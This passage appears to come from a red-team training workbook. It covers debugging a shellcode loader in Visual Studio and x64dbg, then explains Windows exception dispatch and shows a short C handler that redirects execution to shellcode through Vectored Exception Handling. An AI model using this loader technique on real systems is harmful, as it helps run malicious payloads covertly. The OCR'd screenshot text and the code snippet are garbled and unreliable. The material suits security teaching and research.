Task: Enable Debugging Sections

Solution Explorer
Alo-sT@| o &=

Search Solution Explorer (Ctrl+0)

Default
Enable Security Check (/GS)

fR Solution 'Win32Classic' (1 of 1 project)

A

[=] Win32Classic
P o0 References
&l External Dependencies
EF Header Files
> [ debugh
&} Resource Files
> [d debug.c
& Source Files
> [ mainc

DEBUG_MODE

DEBUG_MODE
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Before we can begin debugging the loader in this lesson, we need to enable the debugging code in our Visual Studio
project. As illustrated below, the necessary code for debugging is already implemented through the debug.h header
file and the debug.c resource.

In the main.c file, you'll notice several debugging sections that are currently disabled by macro. To identify these
sections, look for blocks of code marked DEBUG MODE, as shown below. These sections are wrapped in the
DEBUG_MODE macro and can be identified by the #ifdef DEBUG_MODE directive above each debug section and the
corresponding #endif directive below it.
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To enable all the debugging functions at once in a convenient and easy way, look at the top of main.c and identify the
macro called DEBUG_MODE in the part shown below.

Next, simply uncomment the debug macro DEBUG_MODE by uncommenting the macro, this is done by removing the
two // before the macro as shown below.

DEBUG_MODE

If you have done this correctly, all the debug sections for that loader should be enabled and your loader is ready for
debugging.

Task: Loader Compilation

At this point, you should have finished inserting your shellcode and enabling the debugging macro, now we want to
prepare the loader to link with x64dbg. In the context of debugging, we want to compile our loader as debug x64, as
shown below, or using the Ctrl+Shift+B shortcut.

File Edit View Git Project Build Debug Test Analyze

Llil - BB Debug ~ x64 -

Alternatively, you can run your loader in Visual Studio without explicitly compiling, as shown below, which is useful
for debugging and testing, or using the Ctrl+F5 shortcut.

File Edit View Git Project Build Debug Test Analyze Tools Extensions Window Help

@ =S RE Debug ~ x64 ~ P Local Windows Debugger ~| [>

You should see the following output in the console window, as shown below. This output indicates that our loader is
ready to be debugged with x64dbg.
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— O X
[#] Press the <ENTER> key to start the debugging session. ~
-

Task: Attach with x64dbg

Next, we will open the debugger x64dbg and attach it to the loader that is currently waiting to start debugging. To do
this, click on "File" in the x64dbg menu on the left of the top bar, as shown below, and then click on "Attach".
Alternatively, you can use the Alt+A shortcut.

¥ x64dbg
File Favourites
F3 H ¢
45 Recent Files * tpoints
Attach Alt+A I
Detach Ctrl-+Alt+F2

=t Database 4

View Debug Tracing Plugins Options Help Dec 21 2024 (TitanEngine)
o fxc# AL ES®

[L)' Call Stack

Open

Memory Map =% SEH

Now we need to attach x64dbg to our loader - more specifically, to the running executable associated with the loader.
To do this, locate your loader's executable in the Name column. Click on it once, then select the Attach button in the
lower right corner to attach the debugger to your shellcode loader.

Note that the process name shown in the image below may be different from yours or differ from chapter to chapter-
this is simply an example to illustrate how to attach to a process using x64dbg. Depending on your implementation or
the solution provided in the appropriate chapter, this will appear as a running executable such as Win32Classic.exe,
Win32Data.exe, or Win32APCsV2.exe.

¥ Attach X
PID | Name Title Path
| 184 onho C:\Windows\System32\conhost.exe
C:\Users\virtualallocex\Desktop\M
| 168 RUNCImeBroker c:\windows\System32\RuntimeBroker
B Perfwatson2 c:\Program Files\Microsoft Vvisual
% SnippingTool DesktopWindowxamlSource C:\Program Files\WindowsApps\Micr
B VCTip GDI+ Window (VCTIP.EXE) c:\Program Files\Microsoft visual
B smartscreen C:\Windows\System32\smartscreen.e
13128 [#] systemsettings settings c:\windows\Immersivecontrolpranel)
11640 & nhotepad++ *new 1 - Notepad++ c:\Program Files\Notepad++\notep:
3636 chrome C:\Program Files\Google\Chrome\Af
10696 chrome c:\Program Files\Google\cChrome\Af
11240 chrome Cc:\Program Files\Google\Chrome\Ar
16612 chrome C:\Program Files\Google\Chrome\Af
12712 chrome c:\Program Files\Google\Chrome\Af
19796 chrome c:\Program Files\Google\Chrome\Ag
20000 chrome C:\Program Files\Google\Chrome\Af
4828 chrome c:\Program Files\Google\Chrome\Af
23204 chrome crashpad_sessionendwatcher c:\Program Files\Google\Chrome\Ag
9812 chrome memcpy, wmemcpy | Microsoft Learn - Gd C:\Program Files\Google\Chrome\Af
20284 ® RuntimeBroker C:\windows\System32\RuntimeBroker
12500 CrossDeviceServiqg .NET-BroadcastEventwindow.3d893c.0 C:\Program Files\WindowsApps\Micr
22420 systemInformer system Informer [DESKTOP-QHOINBS\virty C:\Program Files\SystemInformer\s
22692 1 procexp64 Process Explorer - sysinternals: www.§C:\Users\VIRTUA~1\AppData\Local\l

Search: Type here to filter results...

Why is process X not shown? Refresh (F5) Find Window...

Cancel
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Summary

If you follow this procedure, x64dbg should now be successfully attached to your shellcode loader from the
appropriate chapter, and you should be ready to start debugging your current loader. To proceed with the actual
debugging process, refer to the appropriate debugging workbook, "Workbook - Debugging" from the appropriate
chapter.
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Bonus Chapter 5: (Vectored) Exception Handling

Introduction

So far in this workshop, we have already looked at several alternative execution mechanisms that avoid directly
calling the CreateThread() API—or even creating a new thread at all—to execute code. Approaches such as
Asynchronous Procedure Calls (APCs), thread pools, and fibers all work for the same underlying reason: sooner or
later, the operating system or a Win32 APl ends up invoking a function pointer that we control.

In each of these cases, our shellcode executes as part of the program’s normal control flow. Windows schedules a
thread, delivers a callback, or switches execution contexts, and at some point, execution reaches attacker-controlled
code (our shellcode). The exact mechanics differ from technique to technique, but the core idea remains the same.
Execution happens because Windows explicitly calls into code we supplied.

In this chapter, we take a different approach and focus on exception handling as a code execution primitive.
Instead of relying on Windows to call our code during normal execution, exception-based techniques take advantage
of what happens when something goes wrong. Whenever an exception occurs—whether it is a divide-by-zero, an
access violation, or an illegal instruction—execution is immediately interrupted. Windows saves the current
processor state and enters its exception-handling logic to decide whether execution can continue and, if it can,
where it should resume.

From a practical point of view, there are three Windows exception-handling mechanisms that matter for our
discussion: frame-based Structured Exception Handling (SEH), Vectored Exception Handling (VEH), and Vectored
Continue Handling (VCH).

Traditional, frame-based SEH is closely tied to a thread’s call stack. As a function is entered, its exception handler
becomes part of the stack frame. When an exception occurs, Windows walks the stack of the faulting thread from
frame to frame, looking for a handler that is prepared to deal with the exception.

VEH works differently. Instead of being bound to individual stack frames, vectored exception handlers are registered
once at the process level. They are invoked before the normal SEH chain, regardless of how the current call stack
looks. Because VEH operates independently of stack layout, it is far more flexible than frame-based SEH and can be
reused as a general execution-control mechanism—a detail that becomes important later in this chapter.

Vectored Continue Handling (VCH) complements VEH by running at a later stage. VCH handlers are called after an
exception has already been handled and just before execution resumes. Like VEH, they are registered globally for the
process and receive access to the final execution context. This makes VCH especially useful for inspecting or
adjusting execution state immediately before control is returned to the thread.
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In the lab section of this bonus chapter, we will take a look at the Win32VEH loader and focus on how Vectored

Exception Handling (VEH)can be used for shellcode execution, or more precisely, for redirecting control flow. This
approach does not rely on Windows invoking attacker-controlled code during normal execution. Instead, the
techniques make use of the exception dispatch mechanism to influence where execution resumes after a fault has

occurred.

Further Reading and Resources

Windows Internals Part 2 - Mark Russinovich, David Solomon, and Alex lonescu
Comprehensive guide to Windows architecture, processes, threads, and memory management.
o Exception dispatching (pp. 85-91)
https://learn.microsoft.com/en-us/windows/win32/debug/structured-exception-handling
https://learn.microsoft.com/en-us/windows/win32/debug/about-structured-exception-handling

https://learn.microsoft.com/en-us/windows/win32/debug/exception-handling

https://learn.microsoft.com/en-us/windows/win32/debug/exception-dispatching

https://learn.microsoft.com/en-us/windows/win32/debug/debugger-exception-handling

https://learn.microsoft.com/en-us/windows/win32/debug/frame-based-exception-handling

https://learn.microsoft.com/en-us/windows/win32/debug/vectored-exception-handling

https://learn.microsoft.com/en-us/windows/win32/debug/handler-syntax

https://learn.microsoft.com/en-us/cpp/cpp/exception-handling-in-visual-cpp?view=msvc-170
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B5.1: Objectives of Learning

After having worked through the following chapter, the course participant should be able to answer the following
comprehension questions on his/her own.

# Questions on Understanding

1. What makes exception handling a viable code execution primitive on Windows?
What fundamental property of the exception mechanism enables control flow redirection?

2. What is the difference between execution by invocation and execution by resumption?
Why does exception-based execution fall into the latter category?

3. How does Windows transition from kernel mode back to user mode when an exception occurs?
What role does KiUserExceptionDispatcher() play in this process?

4. What is the purpose of the CONTEXT structure during exception handling?
What does it represent, and why is it critical for resuming or redirecting execution?

5. How does Windows decide where execution should resume after an exception is handled?
How can modifying the saved processor context influence this decision?

6. What is the exact user-mode exception dispatch order in Windows?
In which order are debuggers, VEH, and SEH consulted?

7. How does Vectored Exception Handling (VEH) differ from Structured Exception Handling (SEH)?
How do their registration models and execution contexts differ?

8. Why is VEH generally easier to repurpose for shellcode execution than SEH?
What properties of VEH make it more flexible and less dependent on stack layout?

9. How can debuggers influence exception handling behavior?
What effect does first-chance and second-chance exception handling have on execution flow?
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B5.2: Exception Handling in Windows

At the lowest level, an exception is a hard stop in the execution pipeline. The CPU runs into something it cannot deal
with on its own—an invalid instruction, an access violation, a divide-by-zero, or a breakpoint—and normal instruction
flow ends immediately. The faulting instruction does not complete, and there is no implicit “next instruction” to fall
through to.

At that point, execution crosses a very real boundary. Control is pulled away from the running thread and handed to
the operating system. On Windows, this means the kernel captures the entire execution state of the faulting thread.
General-purpose registers, flags, the stack pointer, and the instruction pointer are all saved exactly as they were
when the exception occurred. From the thread’s point of view, execution is effectively frozen in time.

Along with this saved CPU state, Windows also builds an exception record that describes what went wrong and
where. These two pieces—the EXCEPTION_RECORD and the CONTEXT—are what everything else in the exception-
handling process is built on.

What matters here is that an exception does not cause Windows to call into user code the way a callback or an APC
does. Nothing gets invoked automatically. Instead, Windows is forced to answer a different question. If execution
continues, where should it resume? That question is answered by the exception-dispatch mechanism.

B5.3: Exception State - CONTEXT and EXCEPTION_RECORD

As soon as an exception occurs and the kernel snapshots the state of a thread, it does not capture just a single
piece of information. Windows records two closely related views of the same event. Together, they describe both
what went wrong and where execution came to a halt.

One of these is the CONTEXT structure, which captures the processor state at the exact moment execution stopped.
On x64 systems, this includes the general-purpose registers, SIMD registers, flags, the stack pointer (RSP), and the
instruction pointer (RIP). In practical terms, CONTEXT tells us what the CPU looked like when the exception
happened—where it was executing and what state it was in.

The second structure is the EXCEPTION_RECORD. Where CONTEXT describes state, EXCEPTION_RECORD describes
cause. It explains why execution stopped in the first place. This includes the exception code itself—such as an
access violation or a divide-by-zero—the address where the fault occurred, and flags that describe the nature of the
exception. For certain exception types, additional parameters are included, for example whether memory access was
aread, a write, or an execute operation.

Windows treats these two structures as a pair. The EXCEPTION_RECORD explains what went wrong, while the
CONTEXT captures the precise execution state at the moment things went wrong. Both are needed before any
decision about exception handling can be made.
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This distinction matters because exception handling is not automatically about continuing execution. Before
Windows even thinks about resuming, it has to decide whether resuming makes sense at all. That decision comes
from the details of the exception itself, which are recorded in the EXCEPTION_RECORD.

Some exceptions are simply not meant to be recovered from. A stack overflow or an illegal instruction usually means
the process has reached a broken state, and trying to continue execution would only make things worse. Other
exceptions, however, are raised in situations where recovery is expected. An access violation may occur because
memory has not been committed yet, and a handler can fix that on demand. A breakpoint is another common
example—it is often raised deliberately as part of debugging or instrumentation.

If execution is allowed to continue, the focus shifts back to the CONTEXT structure. Windows does not treat it as read-
only or diagnostic data. Instead, it uses CONTEXT as the template for restoring execution. Whatever values are
present in that structure at resume time are what the processor will load.

At that point, the instruction pointer stored in CONTEXT.Rip becomes critical. It does not simply reflect where
execution failed but also determines where execution resumes. If a handler modifies CONTEXT.Rip and reports the
exception as handled, the CPU resumes execution at the new address. Whether it is normal program logic or
attacker-controlled shellcode, the code at that location is what runs next. In this case, no function call occurs, nor is
any jump instruction executed. Only the control flow changes as a result of restoring a modified processor context.

The image below illustrates the relationship between EXCEPTION_RECORD and CONTEXT to provide a better
understanding of them at a high level.

Kernel Captures both structures

What happened? CPU snapshot at exception
+ Exception code « RIP (instruction pointer)
« Faulting address * RSP (stack pointer)

« Access type (R/W/X) « General purpose registers

I
I
I
I The CAUSE The STATE
I
I
I

Exception Event  [—snapshots—| [

drives decision restored to CPU

Exception can
be handled?

CONTEXT used for RESUMPTION
Execution resumes at CONTEXT.Rip

No

i

Process Termination
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As soon as an exception occurs, the Windows kernel simultaneously captures both structures. The
EXCEPTION_RECORD answers the question of what happened. It describes the cause of the fault, including the
exception code, the faulting address, and the type of access involved. In contrast, the CONTEXT structure shows how
execution looked at that exact moment. It contains a snapshot of the CPU state, including the instruction pointer,
stack pointer, and general-purpose registers.

Together, these two structures form the basis of Windows exception handling. The EXCEPTION_RECORD explains why
execution was interrupted, while the CONTEXT determines where and how execution can continue once the exception
has been handled.

This relationship between EXCEPTION_RECORD and CONTEXT—cause on one side, state on the other—forms the
foundation of all exception-based execution techniques discussed in this chapter. VEH and SEH differ in when
handlers are invoked and how they are registered, but both ultimately rely on the same underlying mechanism:
influencing the decision of Windows about whether execution continues, and, if it does, where it resumes.

B5.4: Kernel / User Mode Transition (KiUserExceptionDispatcher)

Although an exception originates in user-mode code, handling it is not purely a user-mode operation. It requires
cooperation between kernel mode and user mode. The Windows kernel detects the fault and captures the processor
state, but it can’t directly invoke user-mode exception handlers. If so, it would violate the security boundary between
privilege levels or ring levels, which Windows strictly enforces.

To bridge this gap, Windows transitions to user mode in a controlled manner via a defined entry point within ntdllL.dll
known as KiUserExceptionDispatcher(). This function acts as the gateway to user-mode exception handling. From a
programming perspective, it is not necessary to explicitly call the function, but every user-mode exception passes
through it and reliably appears in the call stack whenever an exception is processed.

The kernel prepares the exception record (EXCEPTION_RECORD) and the saved processor context (CONTEXT), then
transfers execution back to user mode by entering KiUserExceptionDispatcher(). From that point on, exception
handling proceeds entirely in user mode under the control of ntdll.dll. This is where debugger notifications occur,
vectored exception handlers are invoked, and the structured exception handler chain is eventually walked.

This separation of responsibilities is deliberate, because it allows Windows to preserve a strict privilege boundary—
ensuring the kernel never executes arbitrary user-mode code—while still providing a flexible and extensible
exception-handling mechanism in user mode. As a result, features like VEH and SEH can be implemented and
abused without crossing security boundaries, relying instead on the controlled transition provided by
KiUserExceptionDispatcher().
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B5.5: Exception Dispatch Order

Once execution reaches KiUserExceptionDispatcher(), Windows begins dispatching the exception. From this point on,
handling follows a strict and well-defined order. If a debugger is attached to the process, it is notified first. This is
known as first-chance exception handling. At this stage, the debugger gets the initial opportunity to observe the fault.
It may choose to break execution, inspect or modify state, or simply allow execution to continue.

If the debugger does not handle the exception, Windows next invokes any registered Vectored Exception Handlers
(VEH). VEH handlers are registered globally for the process and are completely independent of the thread’s call stack.
Because of this, they are always consulted early and in a predictable way.

If none of the vectored handlers report that they have handled the exception, Windows then falls back to Structured
Exception Handling (SEH). At this point, the system walks the call stack of the faulting thread, looking for an SEH
handler associated with one of the active stack frames that is willing to handle the exception.

If the exception remains unhandled after all these stages, Windows treats it as a fatal condition. A second-chance
notification may be delivered to the debugger, and if no handler intervenes, the process is terminated. This dispatch
order explains why VEH handlers always run before SEH handlers, regardless of stack layout. It also highlights why
debuggers and VEH-based techniques can observe or influence exceptions long before application-level recovery
logic ever comes into play.

B5.6: Windows Exception Handling Process

When studying exception handling through Windows Internals and MSDN documentation, it quickly becomes
apparent that the overall process is complex. From the moment an exception occurs, through dispatching, and finally
to execution resumption, many moving parts are involved. Describing this entire flow in a way that is both complete
and easy to follow is not trivial.

In the following section, | will walk through the Windows exception-handling process step by step, focusing on clarity
rather than exhaustive detail. The explanation is presented first as a continuous narrative. Further below, you will find
a table that summarizes the same flow, providing a compact reference to reinforce the concepts discussed in the
text.

The Windows exception handling process begins when an exception occurs, triggered either by hardware (such as
memory access violations or division by zero detected by the CPU) or by software through explicit calls to
RaiseException(). Regardless of the source, control immediately transfers to the Kernel Mode Exception Dispatcher
(KiDispatchException() in ntoskrnl.exe), which operates at the highest privilege level (Ring 0). This dispatcher builds
critical data structures like the EXCEPTION_RECORD containing information about what happened and the CONTEXT
structure capturing the CPU state which determines whether the exception occurred in kernel mode or user mode.
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For kernel-mode exceptions, the stakes are considerably higher. The dispatcher searches through registered kernel
exception handlers, and if no handler can resolve the issue, the system has no choice but to invoke a Bug Check,
resulting in the infamous Blue Screen of Death (BSOD) with the error code KERNEL_MODE_EXCEPTION_NOT_HANDLED.
This critical difference highlights Windows protective architecture. Which means, kernel mode exceptions must be
handled or the entire system crashes, as there is no safe way to continue execution when the operating system's
core components encounter unrecoverable errors.

For user-mode exceptions, Windows employs a more forgiving and sophisticated multi-layered approach, where
only the faulting process is affected while the system remains stable. Before any application code gets a chance to
handle the exception, the kernel checks if a debugger is attached to the process. If present, the debugger receives a
first-chance exception notification—the first opportunity in the entire chain to observe and potentially handle the
exception. This is crucial for developers and security researchers who need to see every exception before the
application potentially hides it with its own handlers. The term "first-chance" is significant because it occurs before
any application handlers are invoked.

If the debugger either isn't attached or chooses not to handle the exception, control transitions to user mode where
the User Mode Exception Dispatcher (RtlDispatchException() in ntdll.dll) takes over. This dispatcher orchestrates a
carefully ordered search through multiple handler types, following a strict priority sequence. The first handlers
consulted are Vectored Exception Handlers (VEH), which are global, process-wide handlers registered via
AddVectoredExceptionHandler(). Unlike traditional stack-based handlers, VEH operates independently of the call
stack, making it ideal for runtime systems, security software, and debuggers that need to monitor exceptions across
the entire application.

If VEH doesn't handle the exception, the dispatcher moves to Structured Exception Handling (SEH), the most used
mechanism in Windows applications. SEH uses __try/__except blocks and is stack-frame based, meaning the
dispatcher walks backward through the call stack searching for exception handlers. When a handler is found, its
exception filter is evaluated, which can return one of three values: EXCEPTION_EXECUTE_HANDLER (handle the
exception and unwind the stack), EXCEPTION_CONTINUE_SEARCH (skip this handler and keep looking), or
EXCEPTION_CONTINUE_EXECUTION (attempt to continue from the point where the exception occurred).

Should SEH handlers decline to handle the exception, or no suitable handler is found, the search continues to
Vectored Continue Handlers (VCH), registered via AddVectoredContinueHandler(). These are conceptually similar to
VEH but are called after SEH, providing a global second-chance opportunity for the application to handle exceptions
that weren't caught by stack-based handlers. VCH represents the last line of defence at the application level before
the exception is considered truly unhandled.

When all application-level handlers have been exhausted, Windows invokes the Unhandled Exception Filter
(UnhandledExceptionFilter()), which checks process error mode flags and policy settings. Applications can customize
this behavior using SetUnhandledExceptionFilter() to implement custom crash handling logic. This filter then triggers
Windows Error Reporting (WER) through the WerFault.exe process, which collects crash dump information, creates
minidump files for post-mortem debugging, and optionally displays the familiar crash dialog offering to send
information to Microsoft.
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Even at this late stage, there's one final opportunity for intervention: the debugger receives a second-chance
exception notification. This is the debugger's last chance to handle the exception, now armed with complete
information about the failed recovery attempts. The distinction between first and second chance is fundamental:
first-chance occurs before application handlers attempt recovery, while second-chance occurs after all handlers
have failed. If the debugger either isn't attached or chooses not to intervene, Windows calls TerminateProcess(),
forcibly ending the application with the exception code as the exit status, cleaning up all threads and resources.

This multi-layered architecture demonstrates Windows' careful balance between providing multiple opportunities for
exception recovery while maintaining system stability. The separation between kernel and user mode ensures that
application failures cannot bring down the entire operating system, while the ordered chain of handlers—Debugger
(First-Chance) » VEH » SEH » VCH > Unhandled Exception Filter > Debugger (Second-Chance) » Process
Termination—provides flexibility for different recovery strategies at appropriate abstraction levels, from global
monitoring to local error handling to final system-level intervention.

Creating a comprehensive control flow diagram that fits on a single A4 page while maintaining clarity is extremely
challenging. However, the table below breaks down the entire process described above into sequential stages,
providing detailed explanations of each component, its privilege level, and possible outcomes. This structured
approach should help you develop a solid understanding of Windows exception handling and serve as a practical
reference when debugging or developing exception-aware applications.

Component Description Possible Outcomes

/ Stage

1 Exception Initial trigger point. Can be either: Kernel > Proceeds to Kernel Mode
Occurs e Hardware: CPU raises exception (access Exception Dispatcher
violation, divide by zero, illegal instruction)
e Software: Application calls RaiseException()

2 KernelMode @ KiDispatchException() in ntoskrnl.exe Kernel > If kernel mode: Search kernel
Exception e Creates EXCEPTION_RECORD (what happened) handlers
Dispatcher e Creates CONTEXT structure (CPU state)

\ . . . > : Di
¢ Determines if exception occurred in kernel or user If user mode: Dispatch to

debugger/user mode

mode
3a Kernel Only for kernel-mode exceptions. Searches Kernel > Handled: Continue execution
Exception registered kernel exception handlers in a linked list.
Handlers Critical system components and drivers can il ek s Cree dEnel)

register handlers.

3b Check for For user-mode exceptions, kernel checks if a Debugger = > No debugger: Proceed to user
Debugger debugger is attached to the process. If attached, mode

sends first-chance exception notification.
> Debugger attached: Send first-

chance notification

4 First- Debugger receives first opportunity to handle the Debugger - Debugger handles: Continue
exception before any application handlers. execution
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Exception
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Vectored
Continued
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(VCH)

Unhandled
Exception
Filter

Windows
Error
Reporting
(WER)

Second-
Chance
Exception

Terminate
Process

Developers can inspect state, modify registers, or
skip the exception.

RtlDispatchException() in ntdll.dll

Receives EXCEPTION_RECORD and CONTEXT User
from kernel, begins walking the exception handler

chain.

First user-mode handlers checked. Registered via User
AddVectoredExceptionHandler()

Global handlers, not stack-frame based. Often

used by debuggers, security software, and runtime

systems.

Frame-based handlers using __try/__except User
blocks.

Walks the stack frames looking for exception

handlers. Exception filter evaluates to:
EXCEPTION_EXECUTE_HANDLER,
EXCEPTION_CONTINUE_SEARCH, or
EXCEPTION_CONTINUE_EXECUTION

Second-chance vectored handlers. Like VEH but User
called after SEH. Registered via
AddVectoredContinueHandler()

Last opportunity for application to handle

exception before it's considered unhandled.

UnhandledExceptionFilter() User
Checks process error mode flags and policy

settings. Can be customized via
SetUnhandledExceptionFilter()

Prepares for termination or debugging.

WerFault.exe process User
Collects crash dump information, creates

minidump files. Displays crash dialog (if

configured) and offers to send report to Microsoft.

Final check for attached debugger. This is the User
debugger's last opportunity to handle the

exception. If debugger is attached, it gets notified

with full crash information.

TerminateProcess() is called. User
Process is forcibly terminated with exception code
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-> Debugger passes: Proceed to
user-mode handlers

Begins sequential search through
handler chain

> Handled: Continue execution

- Not handled: Proceed to SEH

> EXECUTE_HANDLER: Unwind
stack, execute handler, continue

> CONTINUE_SEARCH: Look for
next handler in chain

> CONTINUE_EXECUTION: Return
to exception point

- No handler found: Proceed to
VCH

- Handled: Continue execution

- Not handled: Exception is
unhandled, proceed to filter

- Invokes Windows Error Reporting

- Checks for debugger attachment

> Creates crash dump
> Displays error dialog (optional)

- Proceeds to final debugger check

> Debugger handles: Can attempt
recovery, continue execution

-> Debugger doesn't handle or not
attached: Terminate process

> Process exits with exception
code
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as exit status. All threads are terminated, resources - Operating system reclaims
are cleaned up. resources

B5.7: Code Execution via Vectored Exception Handling

Vectored Exception Handling (VEH) provides a particularly clean way to redirect execution because it gives handlers
early access to the full exception state—before Windows commits to any specific recovery path. At this stage,
nothing about the exception has been finalized yet, which makes VEH especially powerful as an execution primitive.

VEH handlers are registered explicitly using the AddVectoredExceptionHandler() APl and are stored in a process-wide
list managed by ntdll.dll. Unlike Structured Exception Handling (SEH), which is frame-based and tied to individual
functions on the call stack, VEH operates at the process level. A vectored handler is not associated with any specific
thread or stack frame.

As a result, when an exception occurs anywhere in the process, every registered VEH handler gets a chance to see it.
This happens regardless of where the exception originated or what the current call stack looks like.

When an exception is raised, execution first transitions into kernel mode. As mentioned before, the kernel captures
both the EXCEPTION_RECORD, which describes what went wrong, and the CONTEXT, which represents the processor
state at the moment of the fault. These two structures are packaged together into an EXCEPTION_POINTERS structure
and passed back to user mode through KiUserExceptionDispatcher() in ntdll.dll.

Once execution reaches user mode, Windows begins invoking registered VEH handlers in the order they were added.
Each handler receives a pointer to the EXCEPTION_POINTERS structure, giving it full visibility into both the cause of the
exception and the saved CPU state. Importantly, this access is not read-only—handlers are allowed to modify the
context.

This is the point where control-flow redirection becomes possible. A VEH handler can modify CONTEXT.Rip to point to
an arbitrary address, such as shellcode located in executable memory. After adjusting the context, the handler
returns EXCEPTION_CONTINUE_EXECUTION, signaling to Windows that the exception has been handled and that
execution should resume.

Windows honors this by invoking NtContinue(), a system call that restores the processor state directly from the
(potentially modified) CONTEXT structure. The kernel reloads the instruction pointer, stack pointer, and all other
register values exactly as specified in the context. When execution returns to user mode, the CPU resumes execution
from the new CONTEXT.Rip value.

Crucially, no function call occurs. No jump instruction is executed in the original instruction stream. The control-flow
change happens entirely through context restoration. The operating system itself loads attacker-controlled values
into the processor registers and resumes execution accordingly. From the CPU’s point of view, nothing unusual
happened. Execution simply continued after an exception, just not at the location where it originally stopped.
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The image below shows this sequence at a high level—from the initial exception in user mode, through kernel-side
processing and VEH invocation, to context modification and the eventual resumption of execution at a redirected
address (in this case, the shellcode). At a conceptual level, the key idea is that Windows decides where execution
resumes based on the restored processor state. By influencing that restored state—specifically the instruction
pointe—VEH-based techniques can shape the continuation of execution after an exception has been handled. This
principle forms the foundation of all VEH-based execution and redirection techniques.

Itis important to note that this diagram is intentionally simplified. The real Windows exception-handling pipeline is
significantly more complex and involves many additional checks and internal paths. The illustration is meant to

provide a concise, high-level view of how VEH fits into the overall process, not a complete representation of every
step involved.

Windows Exeption Handling Flow (VEH)

User Mode (Ring 3) Kernel Mode (Ring 0)

(2) ntoskrnl.exe - Exception Entry

CPU switches to Ring 0
via IDT trap/interrupt gate

- Exception/interrupt entry

- Builds trap frame (CPU + kernel-saved state)

- Constructs EXCEPTION_RECORD and CONTEXT
- Kernel exception dispatch logic runs

- Kernel prepares user-mode exception dispatch

(3) ntdll!KiUserExceptionDispatcher

) IRETQ to Ring 3
- Entered with: (exception return)

(EXCEPTION_RECORD* + CONTEXT*)
- Calls RtiDispatchException()

&

(4) VEH / SEH Dispatch (ntdil)

- RtiDispatchException:
Invokes Vectored Exception Handlers (VEH)
Then frame-based SEH (if needed)

- Modifies CONTEXT.Rip = e.g. shellcode

- Returns EXCEPTION_CONTINUE_EXECUTION

&

(5) Exception Handled - Continue

- RtIDispatchException() determines is exception handled
- KiUserExceptionDispatcher() calls:
NtContinue(ModifiedContext, FALSE)

(6) ntoskrnl.exe - NtContinue

NtContinue() syscall - Validates and restores modified CONTEXT
C> - Reloads CPU state (RIP, RSP, registers, flags, etc.)
- Returns to user mode: SYSRETQ (typical), IRETQ (fallback)

-> Executes SYSRET instruction

SYSRET to Ring 3
(7) Shellcode Executes \I/:] (syscall return)

- CPU resumes at modified RIP
- No call instruction
- Direct continuation of execution (e.g.shellcode)
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5.7.1 Vectored Exception Handler Function

A VEH handler is a user-defined callback that is registered with the operating system via
AddVectoredExceptionHandler(). Once registered, this handler is consulted before any Structured Exception Handlers
(SEH) whenever an exception occurs anywhere in the process.

In this scenario, the VEH handler examines the exception context and can decide how to react. Rather than simply
observing the exception, the handler may modify the saved CPU state. By updating the instruction pointer (RIP) inside
the CONTEXT structure, the handler can influence where execution resumes once the exception handling phase
completes. This approach relies entirely on legitimate Windows exception-dispatch behavior and allows controlled
redirection of execution flow after an exception has been raised.

Finally, the handler returns a status value that tells Windows what to do next. It can indicate that the exception has
been handled and execution should resume using the modified context, or it can decline handling and allow the
exception to propagate further down the handler chain.

LONG WINAPI VehHandler(PEXCEPTION_POINTERS ExceptionInfo) {
ic LONG redirected = 0;

if (InterlockedCompareExchange(&redirected, 1, 0) == 0) {

ExceptionInfo->ContextRecord->Rip = (DWORD64U)pAddressShellcode;

return EXCEPTION_CONTINUE_EXECUTION;

return EXCEPTION_CONTINUE_SEARCH;

Based on Microsoft documentation (MSDN), a VEH handler must conform to the PVECTORED_EXCEPTION_HANDLER
prototype and returns a LONG value that determines how the exception is processed. The table below breaks down
the core components involved in a VEH handler.

VEH Handler Component Component Explanation

PEXCEPTION_POINTERS Pointer to an EXCEPTION_POINTERS structure containing both the
exception record (EXCEPTION_RECORD) and the processor context
(CONTEXT) at the time of the fault.

Exceptionlnfo -> ExceptionRecord Describes the type of exception that occurred (e.g., access violation,
breakpoint).

Exceptionlnfo -> ContextRecord Contains the saved CPU register state. Modifying this structure alters
execution when the exception resumes.

© 2025 RedOps GmbH - Daniel Feichter | Proprietary & Confidential | Unauthorized Distribution Prohibited 1124


https://learn.microsoft.com/en-us/windows/win32/api/winnt/nc-winnt-pvectored_exception_handler

(@ REDOPS

ContextRecord -> Rip Instruction pointer (x64). Changing this value redirects execution after
the exception handler returns.

InterlockedCompareExchange Ensures the redirection logic executes only once in a thread-safe
manner.

EXCEPTION_CONTINUE_EXECUTION  Instructs Windows to restore the (possibly modified) context and
resume execution.

EXCEPTION_CONTINUE_SEARCH Indicates the handler does not handle the exception and passes it to
the next registered handler.

A VEH handler runs as a first-chance exception callback, giving it early visibility into an exception before normal
handling takes place. At this stage, the handler can inspect the exception and, if needed, modify the saved execution
state. By updating the CONTEXT structure and returning the appropriate status code, the handler can either redirect
execution or allow the exception to pass on to subsequent handlers.

5.7.2 Register Vectored Exception Handler

To receive first-chance notifications when exceptions occur inside a process, Windows provides Vectored Exception
Handling (VEH). The first step is to register a vectored exception handler using AddVectoredExceptionHandler(). This
function installs a callback of type PVECTORED_EXCEPTION_HANDLER into a global handler chain maintained by the
OS.

When an exception is raised or triggered, Windows invokes registered VEH handlers in order (based on the “first” flag
and registration sequence). AVEH handler can observe the exception (e.g., record crash details, detect unexpected
faults, add telemetry), and then return a value that tells Windows whether to continue searching for another handler.
The function returns a handle-like pointer that can later be passed to RemoveVectoredExceptionHandler() to unregister
the handler.

PVOID hVeh = AddVectoredExceptionHandler(1l, VehHandler);

if (hVeh == NULL) {
printf("[!] AddVectoredExceptionHandler Failed With Error: %d\n", GetLastError());

return 1;

Based on Microsoft documentation (MSDN), AddVectoredExceptionHandler() accepts two arguments: an ordering flag
and a function pointer to a vectored exception handler. The table below breaks down the arguments and expected
behavior.
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AddVectoredExceptionHandler() Explanation Parameter Functionality
Parameter
First The First argument is of type ULONG and controls where the handler is

inserted in the VEH chain. Non-zero inserts at the front (called earlier).
Zero inserts at the end (called later).

Handler The argument Handler is of type PVECTORED_EXCEPTION_HANDLER and
represents the pointer to your callback function that will be invoked on
exceptions. Must match the required callback prototype and return a
LONG indicating whether to handle or continue searching.

5.7.2 Unregister Vectored Exception Handler

Once a vectored exception handler (VEH) is no longer required, it should be explicitly removed from the process.
Windows provides the RemoveVectoredExceptionHandler() function to unregister a previously added VEH using the
handle returned by AddVectoredExceptionHandler().

Removing the handler ensures that the callback is no longer invoked during exception dispatch and prevents stale or
invalid function pointers from remaining in the global VEH chain. Proper cleanup is especially importantin long-
